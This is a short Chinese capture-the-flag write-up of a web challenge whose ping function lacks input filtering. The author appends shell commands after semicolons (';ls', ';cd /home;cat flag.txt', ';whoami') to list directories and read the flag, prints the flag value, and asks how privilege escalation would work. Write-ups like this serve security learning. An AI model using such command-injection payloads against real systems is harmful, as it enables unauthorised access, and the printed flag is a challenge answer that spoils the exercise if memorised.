我的解题过程
-
题目描述“小宁写了个ping功能,但没有写waf,X老师告诉她这是非常危险的,你知道为什么吗。”
-
输入了几次网址,发现是把post过去的参数xxxx拼接成ping -c 3 xxxx
-
通过Chrome扩展Wappalyzer了解到目标为Ubuntu系统
-
输入;ls -l
ping -c 3 ;ls -l total 4 -rw-rw-r-- 1 root root 925 Sep 27 2018 index.php
-
尝试查看php源码,输入;cat index.php,并没有返回结果
-
尝试前往上级目录,输入;cd ..;ls -l,成功执行
ping -c 3 ;cd ..;ls -l total 4 drwxr-xr-x 1 root root 4096 Nov 16 2018 html
-
尝试访问几个目录后,在/home目录下,找到flag.txt
-
输入;cd /home;cat flag.txt,发现flag:cyberpeace{64275b52a825406ccabfb4eda7bc63da}
ping -c 3 ;cd /home;cat flag.txt cyberpeace{64275b52a825406ccabfb4eda7bc63da}
-
提交答案,正确
独立思考
1. 遇到这种情况,如何提权?
Web服务的执行权限为:
ping -c 3 ;whoami
www-data
未解决
产生过的疑问
- 遇到这种情况,如何提权?